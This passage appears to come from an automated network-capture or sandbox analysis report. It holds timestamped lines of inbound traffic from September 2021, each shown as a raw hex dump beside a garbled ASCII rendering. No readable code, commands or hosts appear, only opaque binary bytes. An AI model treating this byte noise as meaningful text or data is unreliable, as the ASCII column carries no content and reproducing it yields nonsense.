1c a9 e8 68 f4 84 37 4e b5 8d ad 82 ca cb 1a 58 ad be ba d1 08 89 bb 4b ce fd 92 61 1b c6 96 16 ce ad d2 ba b1 ee 31 4f 30 d1 0f 8d aa be bd d0 89 57 24 c8 94 f9 af 26 12 39 Data Ascii: wVIF3^(^\|V09$ejG`^xi{ohZO4}DuiV[#-y~**$)$9^9N7Ioe0hgj,be>naV%Vks$(%6sh7NXKa1O0W$&9
2021-09-27 18:32:52 UTC	231	IN	Data Raw: 9e 60 9e 5c 91 bb 35 d0 88 1c 3b de e9 7f 45 ee 30 38 7d 8f ac 9a 09 ae 59 ea c9 c4 ac 8a 20 f7 a9 3d e9 ab d0 63 02 77 55 95 9d d5 77 43 d6 34 72 19 b1 45 db c5 2f eb 4b ba b5 fc 24 1c 09 bb 07 57 07 56 94 29 97 5d 1a d1 03 26 1c 9f f9 0e da 5c 9e cb 13 f5 ae ea c5 61 12 8b a9 aa 63 41 df 30 04 a5 ef e2 d8 af d7 15 45 b1 d2 e9 4b a8 67 73 67 77 59 5d 18 bd 37 f2 37 ea c3 14 ce bf 2a 2c 14 f7 a2 b5 c3 e0 da 24 26 d3 7b 83 ba 6f 6a 22 2d 50 bc 54 b5 23 a3 1b bc 58 a3 03 76 2b 97 77 5e 65 02 74 e6 55 28 b8 ba e1 59 2f 8f 7c c9 e3 5e 16 c3 63 0a 81 45 ff 93 5c 9b 5e 9f 6e f6 5f 12 c3 22 00 f2 e4 dd e9 41 f3 b9 01 7b 85 b4 0f 58 fb 90 73 6b 02 fa d1 0c 55 22 bf 21 e3 57 72 e8 a2 7b 2f 86 3b e3 7b 5d 28 26 21 95 1c 09 5a 9e 41 e2 e5 53 fb 9e a6 6a 14 ca 6a fb Data Ascii: `\5;E08}Y =cwUwC4rE/K$WV)]&\acA0EKgsgwY]77*,$&{oj"-PT#Xv+w^etU(Y/\|^cE\^n_"A{XskU"!Wr{/;{](&!ZASjj
2021-09-27 18:32:52 UTC	235	IN	Data Raw: fd 92 7b 59 4a 43 a5 e6 d5 72 ea cc 95 98 3f e9 70 e0 0b 53 d5 75 e0 d3 ef b5 b1 de e6 de ea c9 36 76 f7 98 33 c0 37 ca ab c1 16 c5 c8 98 f4 2f 83 bf 0a e2 ee 3c ea c6 f5 ad d9 71 7a d6 d4 fe 3e 67 31 87 51 34 80 c5 9a 04 e8 c8 b6 40 94 12 92 1e 4c 47 f3 b4 8c 2c f2 36 96 14 49 cf 81 46 c1 2c 89 b5 6a fe af d0 d0 80 da e8 f9 a5 00 fc 9e 78 44 50 1a 3d 5c 9a 42 5d 61 16 c1 2f a8 63 22 2f 48 4b 1c 31 6b 7f b7 c6 b6 43 eb 4c 82 c9 ce 82 5d 12 69 75 cd 04 43 d1 00 f2 2f 81 6e f9 9b 8c e2 d3 aa 68 06 e2 24 2a 93 91 2e 02 b4 40 16 cc 89 b9 2c 19 a6 63 2b 9b b8 b5 11 5b e5 59 af df c0 a0 dc e4 78 d5 cc 83 02 f9 ca 98 7d 41 a4 63 0d 56 a2 78 c8 94 0f 5a 80 ca bd 3f d3 72 de e9 88 3f 2b 9f 2a 18 19 b3 2a 18 29 9a f6 27 65 0a 63 01 fe 1a aa 6c 6f 62 2f 84 95 9e cf Data Ascii: {YJCr?pSu6v37/<qz>g1Q4@LG,6IF,jxDP=\B]a/c"/HK1kCL]iuC/nh$.@,c+[Yx}AcVxZ?r?+*)'eclob/
2021-09-27 18:32:52 UTC	239	IN	Data Raw: 82 90 49 a2 3b bc fe 43 95 c9 6d 38 29 ef 84 03 4c 7c 83 f5 f0 68 86 7c 95 eb 7b 6d 4c 0b 0f 0d 0b 09 0c 86 66 ce da a0 21 f0 75 30 7f 03 29 ef 84 03 4c 13 15 16 b3 9a 57 74 95 d8 a8 1d 8b 94 29 e9 02 b2 17 29 cd 5e c6 ec 84 66 f0 73 3f 9a 38 4c 7c 95 d8 ac 17 2e 4d 9a 73 2e 51 4f 03 4c 7c 84 76 8e 62 d0 f6 71 27 c2 f7 fa 66 de 90 54 ea bf 11 6e ce c1 65 51 44 1d fe 47 89 ee 4e e5 1e 6c a6 37 b3 91 e9 02 af ad e6 ef 84 03 0d 00 a8 3b 9d cb 5b 4f 7a 8a 5d 41 90 41 8d fb d8 a8 11 1a 61 68 c0 93 a7 d7 2e 40 3e 2e 67 59 69 23 f6 77 1d ee 49 81 19 c6 a2 4b fa 1f e0 95 dc b8 d0 df 28 4f 77 07 17 09 28 47 bc fe 4d b8 80 f9 9c 48 1d ee 4f 77 01 0f 69 42 64 b6 0f 07 23 f6 56 f9 f9 e8 bd 79 06 b1 a2 3f b8 c7 24 1c 09 1f d9 22 72 ac 2a 5f 44 0c af 9e 24 5b 20 12 f1 Data Ascii: I;Cm8)L\|h\|{mLf!u0)LWt))^fs?8L\|.Ms.QOL\|vbq'fTneQDGNl7;[Oz]AAah.@>.gYi#wIK(Ow(GMHOwiBd#Vy?$"r*_D$[
2021-09-27 18:32:52 UTC	243	IN	Data Raw: 67 3d dd b8 42 64 b3 15 cc b0 68 21 37 ca ae 89 1f 90 20 12 f1 89 8a f0 71 55 17 9c 57 17 78 07 08 d9 4a 96 7a eb 7e 15 3e 5a 9b 5b 18 ff ab e1 63 33 c5 fe 34 42 61 ce bb 07 53 ec fd a6 50 66 49 f5 96 ce 57 17 78 06 04 cf 32 de 1f 90 25 7e 4c 7c f5 73 f2 0c e7 91 34 42 61 cf 4d ff ae 88 63 33 c5 ff f7 98 36 a7 99 b5 fc c4 df 5e a2 ab d1 3c 53 ed a2 4b ff 4b ea f8 1f 70 d3 41 e7 ae 86 08 dc 08 01 48 76 3e 9e 41 e7 ae da d2 ba 5a 3e 5a 9b 65 b6 7b 68 1f ec fd a3 12 81 7c f5 4c 18 ff ae b7 b0 6d 49 2a 12 f1 8c c9 01 48 76 3e 4a 77 61 f1 71 55 17 a3 2f b6 7e 2a e2 e5 69 9c 85 85 80 27 0b 60 a9 02 50 86 0d bb 95 ac 66 65 b0 6d 4c 7c f0 07 53 d3 2f b6 7e 2a 4a 77 61 f1 db 54 8a cf 75 5f 2f 68 f0 07 56 94 29 a8 5f f4 06 d4 c6 7c f6 15 7d af 18 ff ab e1 63 33 c5 Data Ascii: g=Bdh!7 qUWxJz~>Z[c34BaSPfIWx2%~L\|s4BaMc36^<SKKpAHv>AZ>Ze{h\|LmIHv>JwaqU/~i'`PfemL\|S/~*JwaTu_/hV)_\|}c3
2021-09-27 18:32:52 UTC	247	IN	Data Raw: dd 59 19 81 7c f0 07 42 64 b6 7b 6e ce b5 f9 9e 41 e2 e5 79 68 c0 93 a7 d7 0b ed 80 f9 9c 3d d8 cd 33 c0 93 a7 d7 4b fa 1f 90 20 12 f1 c9 a4 51 08 d9 4f 03 4c 3f f8 46 67 3c 5f 21 96 27 ab e1 63 33 c0 93 67 b6 84 f1 76 10 ec fd 59 e4 15 87 1a 04 cf 36 47 f1 89 8f 0d 65 38 4e 83 81 7d 72 d8 c5 1f 90 20 12 f1 8d 99 b5 f9 94 29 a8 5a 9e 41 e2 65 38 4c 7c b0 6d 4c 7c e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e1 63 33 c0 91 a2 4b fa 1f 90 20 12 f1 89 8f 9d bb 07 56 94 21 95 ac 63 33 c0 93 a7 d6 c8 f0 07 c1 16 fa 1f 90 20 51 24 6c 36 b8 7f 9d bf 52 a7 8b 6b b8 7f 9d bf 52 a7 9f 3b 2c d0 51 08 9a 14 cd cc 4f fc c8 a7 94 05 75 a0 b9 fd 4b fa 5c 8f 89 70 2c d0 54 8f de f7 98 cc 4f fc cb 2e 77 4f ef 7b 92 da 22 17 3e 71 8d 66 44 96 df 5e e4 c1 d2 40 a0 b9 Data Ascii: Y\|Bd{nAyh=3K QOL?Fg<_!'c3gvY6Ge8N}r )ZAe8L\|mL\|c3K V!c3 Q$l6RkR;,QOuK\p,TO.wO{">qfD^@
2021-09-27 18:32:52 UTC	259	IN	Data Raw: 20 99 41 b7 75 a0 bd 07 36 af 1e 48 fe f8 19 7e fc 60 1a 0b 60 e9 b0 81 71 de 27 e6 64 4e fc d3 d8 cd 33 c1 59 a3 cd 33 c0 92 25 db 92 c9 2c e8 ca d5 9d 3a 89 04 cf bc 8e f3 0d 60 d8 0d e0 1c 4c f7 b8 09 3f ed 7f 13 73 1f d4 6e a6 00 05 62 4e 7a e5 1b 6e 32 7b e6 13 36 ce 4d aa d7 ba 0e 13 2e bd d7 78 b0 3e ae ac e0 0c 69 17 bd 87 49 a8 03 15 23 c7 cf dc 28 dd 5b 8e f2 cf c8 5c a9 c8 4f 03 4c 7c f2 b6 83 c5 92 25 db 10 e0 88 1d 02 ae 31 e2 bf d1 0f 96 d5 6b 25 76 b2 8d 62 9c 45 03 1f c0 6c 32 31 88 e5 90 65 b5 af 1a 8f 9d 34 46 86 8b 91 d6 08 5c 5f 6f db 8c 9d 40 a4 7d e2 0d 35 3a aa 50 7c 18 07 13 f8 1a 6e ee 8b f0 37 35 a1 c9 6c 8d 9c 55 47 30 0a 22 ec f2 0e 0f 91 e7 fa e0 1b 89 85 6d b0 28 ad 1a 41 6b bf 44 e0 b6 28 de 1f 13 9f 4f 56 04 cf 33 02 97 54 Data Ascii: Au6H~``q'dN3Y3%,:`L?snbNzn2{6M.x>iI#([\OL\|%1k%vbEl21e4F\_o@}5:P\|n75lUG0"m(AkD(OV3T
2021-09-27 18:32:52 UTC	275	IN	Data Raw: 57 9c 3c 56 d1 b9 ba 80 3f 22 ec 8e 17 95 fa e0 1e 60 7a 03 8f 16 fa 1f 91 b0 d7 4f 4a fc dc 9a b3 a4 58 d9 c4 65 7d f9 63 c8 d4 e8 1c 59 e4 14 20 43 0e 24 97 41 69 bd f7 e8 7e 1c 09 5b 65 bd b4 73 9c 3d d8 cc 02 4e 8e db d1 c3 e1 11 58 71 05 ae 96 fb d5 ae ab 6a c4 9d be 49 71 5a 5e 22 e8 0f 1b bd e4 ba 7a 15 ad 6f b8 43 6d 4c 7c f1 55 96 21 55 97 4e 7f a2 d3 a9 1f 1b 5e 2c 2f b6 7a 06 50 89 4f 86 4c 3c dd a5 97 3a 51 08 d8 36 ae 68 c0 93 a6 59 5b e7 89 ca 20 12 f1 8b 9e c5 10 2c ab e1 63 35 5f c2 64 f3 05 a9 89 04 cf 37 c8 ba 6c c5 5d ac 9b ef 0f 16 1a 87 8a 11 70 2c c7 d8 88 86 db df a6 10 67 35 8c 9d 47 bd 87 8a 11 6c f7 71 59 4b 73 88 3e a2 0e 6c c9 29 aa 15 91 a2 4b fa b7 6e 47 22 24 e0 a5 59 17 3f 54 77 31 30 c6 59 77 19 69 42 64 b4 10 05 82 01 18 Data Ascii: W<V?"`zOJXe}cY C$Ai~[es=NXqjIqZ^"zoCmL\|U!UN^,/zPOL<:Q6hY[ ,c5_d7l]p,g5GlqYKs>l)KnG"$Y?Tw10YwiBd
2021-09-27 18:32:52 UTC	291	IN	Data Raw: 33 2b af ea f8 18 8b 17 bb 0e 93 67 b8 7f 8c a7 07 be de 24 e3 72 ee ea 3b 58 ef 6f 19 f5 91 4a f4 17 09 13 7b 2b 26 f9 17 8f 16 ac 30 f9 17 be d5 18 a3 9f 3b c3 91 61 a4 57 63 33 9b c1 96 23 ec ed 9c 7e 02 d9 3a 51 08 28 06 e9 71 21 95 ac 93 87 b7 fe 28 d9 bf 34 46 28 ad 19 7e f2 5e 4f c0 18 29 23 90 55 13 73 5a 9c 4e 3a d1 35 b1 ef df 25 1e 02 bf 01 54 cc 46 7b 18 ff ab 11 7e c9 29 a8 a5 22 32 3a 17 f6 38 a7 d7 4b c1 2f 5e a7 92 e0 94 88 db df 50 f3 ca f3 b5 f9 d9 8a 65 99 ad 93 a7 d7 bb 27 9e 41 e2 1a f4 35 c1 50 0d bd 87 78 6d 1a 57 d7 c0 50 dd 07 56 94 29 a9 d0 f9 5b 27 d7 8b 11 91 5c c5 e7 99 b5 f9 2c 38 f4 14 a3 46 66 f5 24 13 8c e9 80 b4 9e 93 94 21 e6 64 90 54 8f c1 6c 49 f5 93 a5 42 f4 9b b6 0f 69 42 64 b4 e6 57 94 3c 22 16 fa 1f 92 52 33 40 41 Data Ascii: 3+g$r;XoJ{+&0;aWc3#~:Q(q!(4F(~^O)#UsZN:5%TF{~)"2:8K/^Pe'A5PxmWPV)['\,8Ff$!dTlIBiBdW<"R3@A
2021-09-27 18:32:52 UTC	307	IN	Data Raw: 76 e0 e0 e0 e2 98 b0 ab e1 63 31 1f 13 fa 5f 6a 4f 03 09 9e 39 6f 50 86 08 db d8 4e 47 f3 8e 1b 84 7a 68 06 d4 c3 1a 06 a7 54 49 f7 98 33 c2 e9 f5 55 12 f1 8b e4 69 ca ab a5 56 68 c5 a9 d3 be 70 17 4f eb a8 d1 fa 94 29 a8 58 19 32 b7 0e 6c 36 ba fc 43 0e e7 32 36 f7 39 cf 85 87 8a 11 6c b1 6c 0f 69 06 59 73 4a 37 0d 71 0d ec fd a6 57 9f 47 7b 59 4a 88 05 da d2 bf 13 fb 22 9c ed 0b b0 92 25 15 78 a3 44 89 2e 06 be ce e4 15 70 58 5f a1 19 0a 0d 9a 38 c7 24 59 92 c5 be bf 7b 6d 4c 7e 7c 43 6f a0 cd cc 4d 41 00 2d b2 33 24 68 61 2e 86 f7 66 68 e6 07 95 27 a3 cd 33 30 83 7f 89 5d db bc 49 7e f4 10 ed c0 29 a8 5a c7 82 16 39 45 39 fd a6 55 4b 89 67 fe a3 1f a3 9d fc ad e6 ab 65 c0 32 c1 e9 83 48 9b 79 e3 b5 ca 73 d1 c3 4f 8b 6b bc 34 f8 f2 fc e0 63 3b a7 05 d5 Data Ascii: vc1_jO9oPNGzhTI3UiVhpO)X2l6C269lliYsJ7qWG{YJ"%xD.pX_8$Y{mL~\|CoMA-3$ha.fh'30]I~)Z9E9UKge2HysOk4c;
2021-09-27 18:32:52 UTC	323	IN	Data Raw: 32 0e b5 06 c4 16 39 45 9f 87 03 68 c4 16 26 54 c1 51 54 de 24 14 7e d0 ae e3 6f 24 dc 52 74 27 5f a3 25 9e 05 69 ea ed 0b d8 c9 a2 4f 43 6d 1c 4a fc db 67 7b 4a 0b 96 ab af e2 95 27 f3 cd b8 bf 65 4c 3f e6 cb 2a a1 11 e5 48 67 b4 27 f4 46 3d 18 74 1f cb 70 8c 4b ca f9 63 23 12 32 b5 06 28 2c 09 b3 21 1e 75 1c 84 d1 49 ba c3 7a ba 7a e3 ec 28 ad 19 7c e0 f7 70 83 c3 91 74 57 06 a0 86 8c e9 8d 65 f1 61 2f f2 34 ea ed 0b 9f 39 de eb 93 f7 db df 88 86 fe 1b c1 27 df a1 4c 33 c8 df d5 16 b9 89 c2 ec 02 36 49 df b6 03 1f 1b 43 6d 94 a2 a1 42 31 ec ab b2 b2 f9 5f 71 0b 3f 87 ba d7 b4 66 30 fa 94 43 a5 5a ba 81 ca a4 8b e1 2d f5 c7 75 a0 4e 0a f9 88 bb 08 d0 ce 75 da 2d 49 08 93 4f 03 08 e1 cb 3b 58 21 91 29 ac 23 12 a1 8a 9a c7 17 3b fb dd af 6f 1e 05 21 1e 5d Data Ascii: 29Eh&TQT$~o$Rt'_%iOCmJg{J'eL?*Hg'F=tpKc#2(,!uIzz(\|ptWea/49'L36ICmB1_q?f0CZ-uNu-IO;X!)#;o!]
2021-09-27 18:32:52 UTC	339	IN	Data Raw: eb db f5 92 97 7f fc d4 48 8f c8 2e cd b8 d7 1d d8 9c d1 b7 ab e1 23 14 f5 97 73 07 b3 7f 2c 71 0a dd 59 1b 06 46 91 b2 f9 88 4e 0a dd 59 1b 91 4a b4 fd 76 6a 3c 1b 0d 37 ca ee 87 1a 96 98 3c a9 89 39 c1 44 9e 14 43 e9 6b ac 63 33 c1 c8 4f c0 18 2f 3d 20 5f a1 9b ba c0 16 6a 56 22 18 00 90 96 21 8f e8 03 19 bb f0 52 03 4f 76 e1 94 54 0f 79 3a e7 7e 90 73 d1 3b 38 5c f1 3f d2 ab b3 7f 8f c8 2c 23 ed 80 01 35 46 6a b4 ff 54 70 27 2b 45 eb 38 6a 64 17 7c 42 af 61 47 b3 7d 8d 66 4d be 66 bb 07 56 96 94 21 d5 cd 57 54 04 30 c6 58 d4 2b 6a 4f d3 ca 54 70 25 c4 75 5f 2a 2a 2b 17 75 18 74 f5 78 8e 58 10 13 8c e0 8c fe 28 26 21 94 93 af aa d5 22 54 04 30 c6 58 e1 8b 53 86 d8 46 91 5d d3 c4 75 5f 2a 2a 28 9c 35 82 75 0b 8b b9 76 29 56 92 51 c0 6d bb 42 d2 b0 7d 35 Data Ascii: H.#s,qYFNYJvj<7<9DCkc3O/= _jV"!ROvTy:~s;8\?,#5FjTp'+E8jd\|BaG}fMfV!WT0X+jOTp%u_+utxX(&!"T0XSF]u_(5uv)VQmB}5
2021-09-27 18:32:52 UTC	355	IN	Data Raw: 86 7d 72 d8 cd 31 fb 1a 84 fc d8 6f 14 1d 8b 94 28 96 bd 87 4c f7 95 47 0f 95 0e b4 9e 87 01 c0 79 eb 78 92 f7 1d 5b ab a5 82 01 48 36 c3 66 1a 05 e3 ac e8 ea 8c 16 fa 1f 91 79 d3 c1 31 cf 37 ca ab e0 3c ed 00 f5 e6 ef 84 03 4d 4f b8 03 94 a2 b9 89 d9 1c 09 1b 0b a3 0d ee c1 4d a1 96 e9 fd 40 2a d5 bd 8f d6 87 8b e1 63 64 ce 35 3a ac f3 9f 2c 2f b6 7a 47 76 6a 17 f6 0f 15 78 1d 08 92 fa 94 0b 1e f2 89 77 ef 7b 92 da b2 9a fe a3 3d 53 5a c8 f4 80 f9 94 eb 26 78 bf 4a 29 f7 98 33 c2 98 a0 b9 02 ca a9 d8 4e 0a 0e 6c 06 5f 7a e3 22 9c 6d b4 33 4d a9 c5 6b 47 f0 07 54 8d 22 94 4f fc d8 7f 32 d6 9e 4b 90 2a 40 a0 ba 37 e5 84 53 0d 65 2d 47 18 3c dd 0f b1 64 4c f7 69 c9 8c b3 0c 9f 49 f9 e9 fd f1 df 0d 9d 7b ee ee 89 da 12 7a 28 7d 2c 70 13 40 5d ce 4a 8a 81 e2 Data Ascii: }r1o(LGyx[H6fy17<MOM@cd5:,/zGvjxw{=SZ&xJ)3Nl_z"m3MkGT"O2K@7Se-G<dLiI{z(},p@]J
2021-09-27 18:32:52 UTC	371	IN	Data Raw: 73 a6 10 67 2f c2 58 1d df 0c 1d 9b 31 47 b5 72 24 59 92 dd 0c 6b 14 0d a1 4a 9b 31 ee 02 8a 9c fe 75 ba 0e bc d4 9c c2 67 e9 d8 25 58 12 11 3b 5e 58 64 0d c1 fe d0 ff 80 fa 1c 49 b3 7f 8b c1 3d dc 84 00 81 2a a1 81 34 69 45 60 e4 a4 53 06 ff a3 86 83 d0 5a db d9 1f dc 95 87 9d 34 0e a1 ca 9b c8 2c 38 c7 20 51 23 95 ef 0f 25 c6 2f be ce 3e a2 0b eb 73 1f 1b 79 97 67 72 30 09 1b 0d 62 3a a9 91 2f 46 3b 5e 58 64 0d ce 5d 65 78 6d 4b 71 11 3e d1 3b 58 69 0f e4 16 3d 5b 28 5b ab b6 2d e1 83 44 ea 14 7e a1 59 d8 96 70 8c 06 10 6f 96 a5 2d 4d 2a f8 f2 ca 20 16 de 8f b6 77 40 0b eb 84 fc f1 14 1d 4d 74 f8 0e cc b8 a4 04 44 96 d1 ee a5 3a 97 3a 75 4b 71 aa a1 1b 63 db 92 ae 6c ed d4 48 83 0b 4c 2c d0 bb b5 f0 8c 16 bf 9a 28 2b 26 79 3a ae 78 6d 8f 16 b2 06 2c 14 Data Ascii: sg/X1Gr$YkJ1ug%X;^XdI=4iE`SZ4,8 Q#%/>sygr0b:/F;^Xd]exmKq>;Xi=[([-D~Ypo-M w@MtD::uKqclHL,(+&y:xm,
2021-09-27 18:32:52 UTC	386	IN	Data Raw: de 26 20 c6 4a 77 64 b7 2b 45 1b c3 91 82 77 00 f5 6c ad e6 ac 25 13 1b d3 81 4f 3c 22 d7 cf c8 59 a0 65 d0 4a 32 b5 09 1e 84 fc da df 80 11 96 6b cc 4c 29 23 99 b5 f9 9c c1 53 ca 5f 6f d9 0f 05 2d 72 5d 6d 44 29 23 61 6a 4f 23 10 88 3d 27 c7 24 5f 6c 7d 1a 51 c8 94 d1 79 e1 9c c3 0b e0 08 d9 0a 18 bf b0 9d 7b ee ee 89 da 42 a7 8c 48 2c 75 06 2b 50 ab ce 5d 76 b1 29 83 88 29 ec 76 b1 28 0d 6d 68 84 88 0d 0f 96 d3 6d d1 d4 90 74 04 44 9b 31 42 ef 7c 34 c1 41 b4 25 0e 24 47 f3 07 96 1d 74 20 eb 14 1d 88 86 03 39 ce bd 74 5f 29 23 66 45 e4 40 b7 fd 2d 6a 4f 50 86 48 fe eb 20 4c 83 7e f9 8a f9 4a fc 27 28 25 17 82 02 33 a9 34 42 25 ae 10 4d fe 9a 36 32 3e 61 ac bb 8c e4 61 79 3b d3 01 c5 dc 8c 48 2c 72 82 a7 11 e5 9c b6 79 1c c9 ac 63 33 a5 b0 85 40 d4 08 52 Data Ascii: & Jwd+Ewl%O<"YeJ2kL)#S_o-r]mD)#ajO#='$_l}Qy{BH,u+P]v))v(mhmtD1B\|4A%$Gt 9t_)#fE@-jOPH L~J'(%34B%M62>aay;H,ryc3@R
2021-09-27 18:32:52 UTC	387	IN	Data Raw: 8a 75 06 8d c3 da e1 d2 54 70 2e 36 07 bf d2 bf 54 4a 67 9e 81 4f 10 13 6b cc b0 28 e3 5b 81 93 ea 73 52 db df 5e e2 20 2e 95 fc d3 04 79 67 6d bf 54 04 cf 32 7e 32 3e 1f 55 2e 95 8a 65 38 4c 39 0b 5c 9e c2 98 76 24 24 bf d1 0f 96 d2 44 6e 26 21 d0 7f 4f a2 4b b9 46 14 9d af 63 57 4e d8 97 71 66 5c 48 8c eb 79 f4 f9 5f 2a 6f 95 90 83 78 a3 46 66 ce b5 f9 d9 8a 2d 8f 1e 0d 26 65 26 49 e5 e5 08 80 a0 1c c9 1a fb 5e 52 b3 1c 9b ba c0 56 a8 57 9c 31 e9 fd a6 10 29 94 3c dd 0b 70 11 ed 80 bc 4f 3f c8 2c 7d 7a b9 89 8f d8 08 e5 79 e3 45 62 d5 74 23 fd a6 16 be 99 dd 0c 30 0a 25 cb a7 d7 0e 22 2b b8 0b 93 f2 85 57 24 f3 db dd 8b a7 c3 50 0f a0 75 5f 6f 95 90 35 4e 91 e8 7d bb 34 42 21 50 ba 90 ab e5 dc f5 e6 ef 73 27 23 9a 88 0d 65 38 dc 53 02 ca a3 b5 7a eb 3e Data Ascii: uTp.6TJgOk([sR^ .ygmT2~2>U.e8L9\v$$Dn&!OKFcWNqf\Hy_*oxFf-&e&I^RVW1)<pO?,}zyEbt#0%"+W$Pu_o5N}4B!Ps'#e8Sz>
2021-09-27 18:32:52 UTC	403	IN	Data Raw: e6 ac 67 55 12 f1 89 89 8f 9d bf 11 6f 3e 3d b1 83 c1 42 62 b2 72 9b be e2 25 15 78 e6 90 df a1 36 c7 24 1e 7f 18 8c 64 c3 59 4f 04 ce b5 ba 81 28 26 61 a2 88 50 7e 1f 6f ad a4 3f 34 81 7c b3 f0 4c 14 e5 e5 08 80 a0 1c c9 1a fb 5c f6 4b 12 f1 c9 39 5a 8b 1f 90 20 12 e3 de db 11 ed 14 4d 00 38 05 82 16 fa 5a 1d 0b d8 32 c3 21 b0 85 85 c0 57 f3 2f 49 08 e2 ca 43 e6 aa 9a e0 41 1d 76 da eb 93 a7 92 e1 bf b0 50 f3 8e 5e 63 d3 44 96 0e 6e aa 6e 31 df 5e e4 ee 46 06 81 bc b9 ee 89 da d2 fa 96 c6 a2 0e 64 22 17 38 c5 af ea bd 8f 05 51 4d 76 7d 72 9d 3c ca ab a4 dc f3 8e 5e 24 bc 8a 54 03 04 cf 72 5b 84 03 09 d0 2e 34 07 d5 ee 02 8f 16 36 47 b5 7a 47 f0 42 ed 0c e2 a0 c5 af ea bd 80 f9 9c 78 65 8c 16 bf 9d bb 07 13 f0 bf 11 2b 24 c8 a7 92 a6 e9 76 a4 da 86 08 9c Data Ascii: gUo>=Bbr%x6$dYO(&aP~o?4\|L\K9Z M8Z2!W/ICAvP^cDnn1^Fd"8QMv}r<^$Tr[.46GzGBxe+$v
2021-09-27 18:32:52 UTC	418	IN	Data Raw: d9 47 b5 72 df b5 36 05 d9 47 a5 59 7b 2d 04 c0 43 a6 de d3 04 44 7b 19 41 66 44 94 53 7f 9f c4 df fb fd b3 7f a7 97 3a 59 5e 2c 01 a3 cd fc 64 70 db 11 e5 65 4c 7c 20 6a 47 f8 5f a1 36 b8 b9 bb ef 5c e3 ec f5 d6 43 06 84 8e 13 36 cc a1 bc 8a 29 d0 3a 99 f5 18 f7 dd d2 a2 3f dd 86 70 53 05 14 7e e1 17 7d a5 aa de d3 04 44 96 d1 0a 99 5d da d2 bf 0f d3 55 52 00 1d cb a5 da 97 3a 42 10 ec f5 eb fb a9 99 3e 46 85 7a 14 d8 6b af 15 78 e6 e1 d9 43 a6 de 03 0c 69 4a 32 b5 06 2b 9b cf df a1 c9 29 a5 68 d4 83 0b b8 c0 18 f7 dd d2 ac 88 f2 f3 b8 0a 35 3a 51 08 c4 27 b7 be 05 89 cf bc 82 bb 8c 03 38 8c 92 da 2d 7e 75 b7 01 b7 35 bb ef cf 43 a6 59 5b d6 c0 d6 43 ef f1 88 01 08 2f be cb a5 ab 95 6c 4d 00 3a 9d 1e e5 93 58 52 15 90 20 12 f1 0e 63 3c 56 4b 82 7e fc 61 Data Ascii: Gr6GY{-CD{AfDS:Y^,dpeL\| jG_6\C6):?pS~}D]UR:B>FzkxCiJ2+)h5:Q'8-~u5CY[C/lM:XR c<VK~a
2021-09-27 18:32:52 UTC	434	IN	Data Raw: 25 9e 43 6a 31 53 9f fc 64 3d ca 20 12 b4 fd b6 6e 45 f8 6e ce 8d e1 e0 f9 e9 76 a4 94 a1 dc ec ef 0f a0 75 9c 63 73 0b 9f cc 3b 15 f3 5e 2c 1f d0 31 bb 8c 16 bf 9a 28 87 80 12 c1 56 1f 90 ab e1 26 aa 4e 20 04 ba 45 6e ce b7 62 a4 b8 80 72 d8 88 86 18 5e bb 73 5a 9e 41 e2 31 03 cc b0 e6 ef c1 9d af 4b 0a 56 c2 5b 7b 33 3f 20 ae fb 49 33 4b fd d8 16 7e 0b 9f e8 3a b9 c4 16 06 36 c7 f7 13 8c e8 ad f8 f2 4c 3a dc d7 4b f8 4a e7 f8 c8 94 21 e1 a3 48 33 86 83 7f 88 30 c4 75 5a ea 38 c9 6d 0a 56 64 3d 02 41 1d 76 5c 8a f9 ca f8 8a d2 e4 b4 b0 e6 e3 a3 4e 81 7c f0 07 53 82 9a c7 d9 f3 7e 1c 06 a0 9d 3b 15 f3 ca ed 09 a4 af d7 d1 d4 c3 58 1f 3c 3e 0c e3 57 51 ce 4a 88 21 7c 18 39 45 39 fd 56 1f 4a fc db a9 60 6e 26 d1 f8 99 bd 78 34 c6 f4 43 91 cd 5b 73 34 0d 63 Data Ascii: %Cj1Sd= nEnvucs;^,1(V&N Enbr^sZA1KV[{3? I3K~:6L:KJ!H30uZ8mVd=Av\N\|S~;X<>WQJ!\|9E9VJ`n&x4C[s4c
2021-09-27 18:32:52 UTC	450	IN	Data Raw: b3 1c f6 eb 7a b9 ea 07 ab 19 52 63 cf 72 53 f2 f1 74 7f 9e 56 7f 67 b4 12 a8 03 16 3a 62 bd 74 55 ee 47 7b 65 48 fa e3 22 9c 1d 02 ae 58 66 df 5e e5 2a 76 89 da 12 c2 64 f3 07 a9 21 6d 9b 52 8b d5 a2 53 ac 62 03 94 a2 b9 89 76 6a 93 f1 da 83 6c 42 31 bb 47 7d b1 b2 97 3a 0a 83 df 4e d0 45 e3 ec 3e d1 ef 0f 96 d0 b8 8b 7c 0f 97 b0 d1 d4 3c ab 18 c2 70 2f f3 05 ae 95 52 86 e1 74 37 da 5b 44 30 60 f6 d5 75 5f 2a 2a 1e e5 af 61 fd 95 50 cb a5 2d 4d 40 af 02 cf 45 e9 9e c2 fe d0 ff 1c 06 2b 52 a5 2d 5a 62 f4 9b ba 85 85 83 39 38 19 0c 1d 74 f3 81 94 ef 0f 6d 1c 82 02 8f 16 32 b5 eb 84 13 f8 e6 aa d5 42 35 3a 59 90 dc 92 ae b8 ab bb f8 e5 41 e6 07 90 ab b1 fd 59 0b eb bd 87 aa d7 2f 86 f7 fc 24 5e e2 17 15 2d 72 eb 87 cf be 71 a8 a3 42 8c 16 bb 30 99 14 f4 a2 Data Ascii: zRcrStVg:btUG{eH"Xf^vd!mRSbvjlB1G}:NE>\|<p/Rt7[D0`u_*aP-M@E+R-Zb98tm2B5:YAY/$^-rqB0
2021-09-27 18:32:52 UTC	466	IN	Data Raw: a5 d2 d7 4b 90 73 5a 9e 45 eb 13 23 66 44 96 2e b1 62 b1 ef 85 85 ed 80 93 f4 64 6d c9 f1 02 35 3b ba 3e b2 52 02 ae 58 66 df 5e e5 6a 0c 8a 44 a9 ef 7b 92 db a8 df d7 8b a7 84 fc db aa a2 8f 1c e5 e7 24 df 03 15 88 e6 10 12 b1 7e 1d 48 8c e8 b3 27 4b 06 91 2f b6 39 c8 8e 73 4a fe 4c 25 c7 7e 34 71 aa a0 07 da 3a ae 96 90 f1 61 2f f7 b7 42 c5 1e bf ed cd b8 7f 89 ea 74 34 42 21 1c 2d 13 8f c8 2a 0a 54 eb 4b 05 35 c5 5d 23 bb 6f 05 91 91 a2 21 79 e3 32 ae ab 1e f2 f3 5c 4b fa 5a 17 b5 58 09 98 cc 4f fc fa f7 98 76 68 78 47 33 9b 45 15 39 14 1d 74 22 a8 81 94 29 